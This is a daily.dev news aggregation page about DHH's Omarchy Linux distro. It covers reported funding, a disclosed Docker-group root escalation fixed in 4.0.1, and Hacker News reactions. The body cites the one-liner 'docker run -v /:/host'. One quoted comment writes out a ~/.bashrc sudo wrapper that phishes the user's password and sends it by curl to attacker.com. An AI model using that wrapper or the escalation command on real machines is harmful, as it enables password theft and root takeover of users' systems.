--- title: DHH's Omarchy gets real money, and the haters are doing... description: Omarchy, DHH's opinionated Linux distro, has secured significant financial backing according to The Register. Beyond the funding news, the piece explores... canonical: https://daily.dev/posts/dhh-s-omarchy-gets-real-money-and-the-haters-are-doing-free-marketing-t9972adjg twitter:card: summary_large_image twitter:site: @dailydotdev og:type: website og:site_name: daily.dev og:title: DHH's Omarchy gets real money, and the haters are doing free marketing | daily.dev og:description: Omarchy, DHH's opinionated Linux distro, has secured significant financial backing according to The Register. Beyond the funding news, the piece explores... og:url: https://daily.dev/posts/dhh-s-omarchy-gets-real-money-and-the-haters-are-doing-free-marketing-t9972adjg og:image: https://api.daily.dev/og/posts/T9972AdJG.png og:image:alt: DHH's Omarchy gets real money, and the haters are doing free marketing og:image:width: 1200 og:image:height: 630 og:locale: en --- > ## Documentation Index > Fetch the complete documentation index at: https://daily.dev/llms.txt > Use this file to discover all available pages before exploring further. # DHH's Omarchy gets real money, and the haters are doing free marketing **[Trends](https://daily.dev/sources/trends)** · 2 min read · 19 upvotes · 6 comments ## Summary Omarchy, DHH's opinionated Linux distro, has secured significant financial backing according to The Register. Beyond the funding news, the piece explores reactions: Armin Ronacher critiques vocal Omarchy haters for not building alternatives, while Filipp Kowalski argues Omarchy should be viewed as an ecosystem challenger rather than just another distro. Kowalski's thesis is that Apple's lock-in (Handoff, AirDrop, iMessage) is sticky only until a critical mass leaves — as happened with BlackBerry. The piece also raises that open systems like Omarchy have a structural edge for AI agents needing deep system integration, unlike closed platforms like macOS. ## Content A security researcher just dropped a pretty damning disclosure on Omarchy, DHH's opinionated Linux distro that's been picking up steam (and apparently serious financial backing). The short version: every version before 4.0.1 silently added users to the Docker group, which means any process running in your desktop session — your browser, your editor, that npm postinstall script you didn't read — had a straight path to root. No sudo, no password prompt. Just `docker run -v /:/host` and you own the machine. The researcher points out that `/etc/shadow` was readable this way. So was everything else. The vulnerability was introduced in June 2025 and sat there until August 24, 2026, when it was quietly fixed after private disclosure. The docs, meanwhile, implied Docker was running rootless. It wasn't. The fix is in 4.0.1. The recommendation from the researcher is to ditch Docker entirely for Podman, which is daemonless and doesn't need root access at all. This lands at an awkward moment. Omarchy has been getting real attention — The Register flagged it getting "serious backing" — and the community discourse has been split between enthusiastic converts and vocal skeptics. Armin Ronacher (mitsuhiko) is already frustrated enough with the critics to post: "I really hope that at least a small percentage of Omarchy haters puts their energy towards building competition to Omarchy." Which is a fair point, but also the kind of thing that's harder to say the week a root escalation bug drops. There's also a separate proposal floating to have DHH adopt `bootc` for signed, immutable Omarchy images — framed explicitly as a security improvement. That pitch looks a lot more urgent now. The broader pitch for Omarchy — that it could be the crack in Apple's ecosystem lock-in, the thing that makes Linux actually approachable for people who currently buy Macs — depends entirely on it being trustworthy out of the box. A default config that hands root to every user process is the opposite of that. The researcher doesn't mince words about Omarchy's "security decision-making track record," and that framing suggests this isn't the first concern they've had. ## Questions this post answers ### What is Omarchy and who created it? Omarchy is an opinionated Linux distribution created by DHH (David Heinemeier Hansson, creator of Ruby on Rails). It recently received significant financial backing, according to reporting from The Register, signaling investor confidence that the project could grow beyond a niche developer tool into something more mainstream. _Developers weighing a move to Linux desktops can follow Omarchy's trajectory and funding news on daily.dev._ ### Why might Apple's ecosystem lock-in not last forever? Ecosystem stickiness (features like Handoff, AirDrop, and iMessage on desktop) only holds as long as most people stay within it — once a critical mass leaves, the lock-in argument weakens, similar to what happened to BlackBerry. If enough developers migrate to a good-enough Linux desktop experience, the perceived cost of leaving Apple's ecosystem starts eroding at the edges rather than collapsing overnight. _Anyone comparing Apple versus Linux desktop tradeoffs can track this debate as it develops on daily.dev._ ### Why would open operating systems have an advantage for AI agents over closed ones like macOS? Open systems let AI agents modify system behavior, automate workflows, and integrate deeply with local tools in ways that closed operating systems restrict. Since Apple has an incentive to keep macOS walled off, distros like Omarchy that stay open could gain a structural advantage if agent-native developer tooling becomes the norm. _Developers building agent-native workflows can weigh OS openness tradeoffs through ongoing coverage on daily.dev._ ## Community take How the wider developer community reacted, aggregated from 3 discussions and 668 comments across hackernews, lobsters (as of 2026-08-31). **TL;DR:** The disclosure sparked a broad debate about Omarchy's security practices and its heavy reliance on AI-generated ('vibe-coded') changes, with many arguing the docker-group default was a serious, avoidable mistake, while others noted docker-group membership is a widely known and pre-existing risk across many distros. **Sentiment:** 10% positive · 25% mixed · 65% skeptical **The case for** - Some defend Omarchy as a genuinely well-designed, convenient, keyboard-driven setup that saves users the pain of manually configuring Hyprland/Arch. - A few note the maintainers fixed the issue quickly once disclosed. - Some argue the docker-group risk is not unique to Omarchy and is common practice on many systems (e.g. NixOS, Ubuntu) without prior outcry. **The pushback** - Many argue a distro should be secure by default and that silently granting root-equivalent access via the docker group is unacceptable, especially when docs implied rootless operation. - Heavy criticism of the project's apparent reliance on largely unreviewed, AI-generated ('vibe-coded') commits merged straight to main without proper review or PR process. - Concerns that this is part of a pattern of repeated security/process failures rather than an isolated oversight. - Skepticism that plugins/themes from community sites could introduce further malware/supply-chain risk. - Some point out that sudo itself is largely 'security theater' since malware can trivially phish passwords via shell rc files, undermining arguments that the docker-group fix meaningfully improves security. **By community** - hackernews (heated): Discussion splits between sharp criticism of Omarchy's insecure defaults and AI-driven development process versus defenders calling the docker-group risk common knowledge and the fix appropriately quick, with side arguments spiraling into broader debates about Linux vs Windows and desktop customization. - hackernews (mixed): No comment content provided for this thread, so sentiment cannot be meaningfully assessed. - lobsters (mixed): No comment content provided for this thread, so sentiment cannot be meaningfully assessed. **Hottest debate:** Whether the docker-group default was a novel, negligent security failure enabled by unreviewed AI-generated commits, or just a widely-known and unremarkable docker convenience trade-off that users blew out of proportion. **Open questions** - Would a human reviewer have caught this issue if the commit process weren't largely automated/AI-driven? - How much of Omarchy's codebase is genuinely reviewed versus merged directly from AI output? - Are Omarchy's plugin/theme ecosystems vetted for malicious code given the project's apparent lax review process? **Highlights** > > What is different here? I don’t understand how this is a question. What’s different is that it comes configured this way out of the box, silently, without warning. It’s functionally equivalent to opting in to giving all user accounts root privileges, which is not what anyone expects the default configuration to be. You can choose to configure your installs this way if you choose to do so. It should not come this way quietly by default. > — [Aurornis on hackernews · 2 comments](https://news.ycombinator.com/item?id=49501151) > That remains to be seen. The whole concept is still in its infancy. An AI reviewer should have caught these issues when they were PRs. But you see, it wasn't even a PR. It was just DHH making a straight up commit on the main branch (as far as I can see). With a message "Do all the additional Docker configuration needed". Was it even AI-assisted? At least the commit message wasn't, AIs write smarter commit messages than that. I said on my earlier comment that DHH and AI get ridiculed automatically because people hate both. That doesn't mean that the ridicule isn't always justified. https://github.com/omacom/omarchy/commit/25799ee91f54c35e6d3... > — [vga1 on hackernews · 1 comments](https://news.ycombinator.com/item?id=49501403) > To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p=<-' https://attacker.com >/dev/null 2>&1 $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1 $realsudo "${@:1}" } > — [lrvick on hackernews · 7 comments](https://news.ycombinator.com/item?id=49500588) > It’s that age old “start a docker container with the docker socket in the container and you are effectively root”. What are we talking about here? This is not new? > — [teekert on hackernews](https://news.ycombinator.com/item?id=49501041) > There was no oversight and no security. It's vibe-coders pushing unvetted shell scripts and dotfiles. They "immediately fixed it" after it blew up on X/Twitter. Just like all the other issues they've had in the past few weeks. And now they formed a "security team" lol. > — [troupo on hackernews · 1 comments](https://news.ycombinator.com/item?id=49502099) **Source threads** - [hackernews](https://news.ycombinator.com/item?id=49499854) · 287 points · 659 comments - [hackernews](https://news.ycombinator.com/item?id=49482545) · 2 points · 2 comments - [lobsters](https://lobste.rs/s/bxihn3/omarchy_any_user_process_can_escalate) · 39 points · 7 comments ## Community discussion Top comments from developers on daily.dev. **@bob72** · 6 upvotes > Hate this AI generated post, could not read it all. **@bits\_and\_bytes** · 4 upvotes > instead ai slop paragraph keep it in 2 lines with simple human written. --- Tags: [#open-source](https://daily.dev/tags/open-source), [#linux](https://daily.dev/tags/linux), [#ai-agents](https://daily.dev/tags/ai-agents) [View this post on daily.dev](https://daily.dev/posts/dhh-s-omarchy-gets-real-money-and-the-haters-are-doing-free-marketing-t9972adjg) ```json {"@context":"https://schema.org","@graph":[{"@type":"Organization","@id":"https://daily.dev/#organization","name":"daily.dev","url":"https://daily.dev","logo":{"@type":"ImageObject","url":"https://daily.dev/apple-touch-icon.png","width":180,"height":180},"sameAs":["https://twitter.com/dailydotdev","https://github.com/dailydotdev","https://www.linkedin.com/company/daily-dev-ltd"]},{"@type":"WebSite","@id":"https://daily.dev/#website","url":"https://daily.dev","name":"daily.dev","publisher":{"@id":"https://daily.dev/#organization"},"potentialAction":{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://daily.dev/search?q={search_term_string}"},"query-input":"required name=search_term_string"}}]} {"@context":"https://schema.org","@type":"TechArticle","headline":"DHH's Omarchy gets real money, and the haters are doing free marketing","url":"https://daily.dev/posts/dhh-s-omarchy-gets-real-money-and-the-haters-are-doing-free-marketing-t9972adjg","mainEntityOfPage":{"@type":"WebPage","@id":"https://daily.dev/posts/dhh-s-omarchy-gets-real-money-and-the-haters-are-doing-free-marketing-t9972adjg"},"datePublished":"2026-08-30T14:51:45.116Z","dateModified":"2026-08-31T00:27:32.229Z","description":"Omarchy, DHH's opinionated Linux distro, has secured significant financial backing according to The Register. Beyond the funding news, the piece explores...","isAccessibleForFree":true,"articleSection":"Trends","inLanguage":"en","publisher":{"@type":"Organization","name":"daily.dev","url":"https://daily.dev","logo":{"@type":"ImageObject","url":"https://daily.dev/apple-touch-icon.png","width":180,"height":180}},"author":{"@type":"Organization","name":"Trends","logo":"https://media.daily.dev/image/upload/s--ZfSp3asX--/f_auto,q_auto/v1780996004/logos/trends?_a=BAMAMiWQ0","url":"https://daily.dev/sources/trends"},"commentCount":6,"discussionUrl":"https://daily.dev/posts/dhh-s-omarchy-gets-real-money-and-the-haters-are-doing-free-marketing-t9972adjg","interactionStatistic":[{"@type":"InteractionCounter","interactionType":{"@type":"LikeAction"},"userInteractionCount":19},{"@type":"InteractionCounter","interactionType":{"@type":"CommentAction"},"userInteractionCount":6}],"keywords":"open-source,linux,ai-agents","timeRequired":"PT2M"} {"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://daily.dev"},{"@type":"ListItem","position":2,"name":"Trends","item":"https://daily.dev/sources/trends"},{"@type":"ListItem","position":3,"name":"DHH's Omarchy gets real money, and the haters are doing free marketing"}]} {"@context":"https://schema.org","@type":"WebPage","@id":"https://daily.dev/posts/dhh-s-omarchy-gets-real-money-and-the-haters-are-doing-free-marketing-t9972adjg","comment":[{"@type":"Comment","text":"Hate this AI generated post, could not read it all.","datePublished":"2026-08-30T20:41:07.037Z","url":"https://daily.dev/posts/T9972AdJG#c-Az1EcCVTH","author":{"@type":"Person","name":"Bob","url":"https://daily.dev/bob72","image":"https://avatars.githubusercontent.com/u/193962566?v=4"},"interactionStatistic":{"@type":"InteractionCounter","interactionType":{"@type":"LikeAction"},"userInteractionCount":6}},{"@type":"Comment","text":"instead ai slop paragraph keep it in 2 lines with simple human written.","datePublished":"2026-08-31T04:58:34.482Z","dateModified":"2026-08-31T06:49:37.646Z","url":"https://daily.dev/posts/T9972AdJG#c-seqhgSuPo","author":{"@type":"Person","name":"bits_007","url":"https://daily.dev/bits_and_bytes","image":"https://avatars.githubusercontent.com/u/182549945?v=4"},"interactionStatistic":{"@type":"InteractionCounter","interactionType":{"@type":"LikeAction"},"userInteractionCount":4}}]} {"@context":"https://schema.org","@type":"FAQPage","@id":"https://daily.dev/posts/dhh-s-omarchy-gets-real-money-and-the-haters-are-doing-free-marketing-t9972adjg#faq","mainEntity":[{"@type":"Question","name":"What is Omarchy and who created it?","acceptedAnswer":{"@type":"Answer","text":"Omarchy is an opinionated Linux distribution created by DHH (David Heinemeier Hansson, creator of Ruby on Rails). It recently received significant financial backing, according to reporting from The Register, signaling investor confidence that the project could grow beyond a niche developer tool into something more mainstream. Developers weighing a move to Linux desktops can follow Omarchy's trajectory and funding news on daily.dev."}},{"@type":"Question","name":"Why might Apple's ecosystem lock-in not last forever?","acceptedAnswer":{"@type":"Answer","text":"Ecosystem stickiness (features like Handoff, AirDrop, and iMessage on desktop) only holds as long as most people stay within it — once a critical mass leaves, the lock-in argument weakens, similar to what happened to BlackBerry. If enough developers migrate to a good-enough Linux desktop experience, the perceived cost of leaving Apple's ecosystem starts eroding at the edges rather than collapsing overnight. Anyone comparing Apple versus Linux desktop tradeoffs can track this debate as it develops on daily.dev."}},{"@type":"Question","name":"Why would open operating systems have an advantage for AI agents over closed ones like macOS?","acceptedAnswer":{"@type":"Answer","text":"Open systems let AI agents modify system behavior, automate workflows, and integrate deeply with local tools in ways that closed operating systems restrict. Since Apple has an incentive to keep macOS walled off, distros like Omarchy that stay open could gain a structural advantage if agent-native developer tooling becomes the norm. Developers building agent-native workflows can weigh OS openness tradeoffs through ongoing coverage on daily.dev."}}]} ```